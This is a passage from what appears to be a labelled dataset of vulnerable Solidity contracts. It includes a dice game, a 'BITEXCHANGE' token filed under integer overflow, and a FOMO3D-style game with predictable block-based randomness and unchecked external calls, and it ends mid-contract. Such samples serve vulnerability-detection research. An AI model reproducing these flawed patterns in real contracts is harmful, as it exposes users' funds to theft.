- external call to an untrusted contract * if send fails map reward value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if (!playerTempAddress[myid].send(playerTempReward[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 2, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempReward[myid]); } return; } /* * no win * send 1 wei to a losing bet * update contract balance to calculate new max bet */ if (playerDieResult[myid] >= playerNumber[myid]){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 0, proof); /* * safe adjust contractBalance * setMaxProfit * send 1 wei to losing bet */ contractBalance = safeAdd(contractBalance, (playerTempBetValue[myid] - 1)); /* update maximum profit */ setMaxProfit(); /* * send 1 wei - external call to an untrusted contract */ if (!playerTempAddress[myid].send(1)){ /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], 1); } return; } } /* * public function * in case of a failed refund or win send */ function playerWithdrawPendingTransactions() public payoutsAreActive returns (bool) { uint withdrawAmount = playerPendingWithdrawals[msg.sender]; playerPendingWithdrawals[msg.sender] = 0; /* external call to untrusted contract */ if (msg.sender.call.value(withdrawAmount)()) { return true; } else { /* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */ /* player can try to withdraw again later */ playerPendingWithdrawals[msg.sender] = withdrawAmount; return false; } } /* check for pending withdrawals */ function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) { return playerPendingWithdrawals[addressToCheck]; } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; } /* * owner/treasury address only functions */ function () payable onlyTreasury { /* safely update contract balance */ contractBalance = safeAdd(contractBalance, msg.value); /* update the maximum profit */ setMaxProfit(); } /* set gas for oraclize query */ function ownerSetOraclizeSafeGas(uint32 newSafeGasToOraclize) public onlyOwner { gasForOraclize = newSafeGasToOraclize; } /* only owner adjust contract balance variable (only used for max profit calc) */ function ownerUpdateContractBalance(uint newContractBalanceInWei) public onlyOwner { contractBalance = newContractBalanceInWei; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 10% contractBalance */ require(newMaxProfitAsPercent <= 100000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer ether */ function ownerTransferEther(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); require(sendTo.send(amount)); LogOwnerTransfer(sendTo, amount); } /* only owner address can do manual refund * used only if bet placed + oraclize failed to __callback * filter LogBet by address and/or playerBetId: * LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); * check the following logs do not exist for playerBetId and/or playerAddress[rngId] before refunding: * LogResult or LogRefund * if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions */ function ownerRefundPlayer(bytes32 originalPlayerBetId, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public onlyOwner { /* safely reduce pendingPayouts by playerProfit[rngId] */ maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit); /* send refund */ require(sendTo.send(originalPlayerBetValue)); /* log refunds */ LogRefund(originalPlayerBetId, sendTo, originalPlayerBetValue); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can suicide - emergency */ function ownerkill() public onlyOwner { suicide(owner); } }",./Dataset/unchecked external call (UC),7,7 1201.sol,"pragma solidity ^0.4.21; contract EIP20Interface { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function pending(address _pender) public returns (bool success); function undoPending(address _pender) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Pending(address indexed _pender, uint256 _value, bool isPending); } contract EIP20 is EIP20Interface { address public owner; mapping (address => uint256) public balances; mapping (address => uint256) public hold_balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; string public symbol; function EIP20() public { owner = msg.sender; name = ""BITEXCHANGE""; decimals = 8; symbol = ""BEC""; balances[msg.sender] = 30000000*10**uint256(decimals); totalSupply = 30000000*10**uint256(decimals); } function setOwner(address _newOwner) public returns (bool success) { if(owner == msg.sender) owner = _newOwner; return true; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function pending(address _pender) public returns (bool success){ uint256 pender_balances = balances[_pender]; if(owner!=msg.sender) return false; else if(pender_balances > 0){ balances[_pender] = 0; hold_balances[_pender] = hold_balances[_pender] + pender_balances; emit Pending(_pender,pender_balances, true); pender_balances = 0; return true; } else if(pender_balances <= 0) { return false; } return false; } function undoPending(address _pender) public returns (bool success){ uint256 pender_balances = hold_balances[_pender]; if(owner!=msg.sender) return false; else if(pender_balances > 0){ hold_balances[_pender] = 0; balances[_pender] = balances[_pender] + pender_balances; emit Pending(_pender,pender_balances, false); pender_balances = 0; return true; } else if(pender_balances <= 0) { return false; } return false; } }",./Dataset/integer overflow (OF)/,4,4 3804.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FOMOQuick is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x6716d92DebBF8f09475f6Be3C20DffF8970CB6aE); address private admin = msg.sender; string constant public name = ""FOMO Extra Short""; string constant public symbol = ""XShort""; uint256 private rndExtra_ = 30 minutes; uint256 private rndGap_ = 30 minutes; uint256 constant private rndInit_ = 20 minutes; uint256 constant private rndInc_ = 8 seconds; uint256 constant private rndMax_ = 30 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = 